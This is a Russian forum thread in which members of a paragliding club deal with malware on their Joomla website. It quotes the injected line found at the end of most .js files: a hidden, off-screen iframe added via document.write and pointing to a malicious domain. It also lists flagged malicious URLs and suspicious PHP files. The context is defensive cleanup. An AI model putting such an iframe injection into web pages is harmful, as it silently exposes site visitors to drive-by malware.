Togliatti Fly Team

Данила писал(а):... чет меня ваша интернет тусня раздражать начинает.., человек упал, ему больно, а вам смешно..!

Алексей Мещеряков писал(а):У меня вроде молчит антивирус. У кого нибудь еще на сайт и форум антивирус реагирует? Дима Васильев какие твои комментарии и рекомендации?

У меня пару дней назад тот же Касперский пару раз матюкнулся, но я значения не придал. Раз трендит, значит работает... А сегодня всё штатно.

Алексей Мещеряков писал(а):У меня вроде молчит антивирус. У кого нибудь еще на сайт и форум антивирус реагирует? Дима Васильев какие твои комментарии и рекомендации?

Сайт paragliders.ru я тоже чистил от вируса раз 5, но... я всем говорил что нужно сменить пароль на FTP доступ к сайту.
Обычно так или иначе получив доступ к файлам сайта, злодеи просто слегка изменяют их - добавляют скрытые ссылки и скрипты, на которые и ругается антивирус.
Я перестал следить за paragliders.ru, ибо полного доступа (для смены пароля) у меня не было, а мои рекомендации дружно игнорировались. Я чищу, через 2 дня опять всё засрано...

На этом сайте сейчас я не наблюдаю никаких проблем, у меня антивирус не ругается.
Правда Касперским я не пользуюсь где-то с 2000-го года, ибо ещё тогда он стал глючным и жутко тормозным.
Могу правда порекомендовать для профилактики сменить пароль на админку Joomla, ибо он ну совсем простой, а через эту админку можно менять любые файлы, устанавливать компоненты сайта.

Поставил Касперского и вот какая штука: при написании поста выскакивает вот это предупреждение (Только не тыкайте на ссылки - может там зараза?)

41383689486becba99b61e59.S1Qz99wSDCMa?default Запрещено: http://msjttk.mrslove.com/41383689486be ... Ma?default" target="_blank (проверка по базе вредоносных веб-адресов) 24.02.2013 0:17:15 http://msjttk.mrslove.com/" target="_blank

Как можно узнать есть ли в базе форума и сайта эта вредоносная ссылка? И как она там оказалась? Или это браузер шалит?

Почистил. Были заражены почти все файлы *.js
В последней строке каждого файла была дописана строка вида

;document.write('<iframe src="http://sdpqh.lflinkup.net/f9369f1cd01a5 ... GB?default" name="Lendomen" height="103" width="103" style="left:-500px;top:0px;position:fixed;"></iframe>');

Блин, все равно ругается. Что то еще там осталось.

Погуглив проблему понял что нужно снова все чистить и менять пароль ftp доступа. Дима поменяй его пожалуйста(только скинь мне новый пароль).

Аист? Неудачная шутка...

Алексей Мещеряков писал(а):Погуглив проблему понял что нужно снова все чистить и менять пароль ftp доступа. Дима поменяй его пожалуйста(только скинь мне новый пароль).

Заходишь в админку на https://www.nic.ru/login/hcp/" target="_blank , там "Управление доступом по FTP". Я сменил все 4 пароля, тебе должны прийти письмом. В любой момент можешь сменить ещё.

Я чистил только togliattiflyteam.ru, остальные сайты не трогал.
Для togliattiflyteam.ru я просто скачал все *.js файлы со структурой папок, почистил их и перезаливаю обратно на сайт одним махом.
Остальные сайты надо бы тоже почистить, по крайней мере alpromtlt.ru тоже заражен (я пока поставил его выкачивать себе, чтобы почистить и залить обратно).

В папке tmp для togliattiflyteam.ru есть подозрительные файлы, возможно это и есть дыра, через которую злодеи заражают весь сайт (уже не по FTP).
Алексей, выясни у своих сайтописателей что это. Я пока переименовал там файлы jos_lwoq.php и jos_nbmt.php, ибо они - зло! Лучше зачистить всю папку tmp!

Ура! Стараниями Димы Васильева все вирусы были побеждены! Слава герою!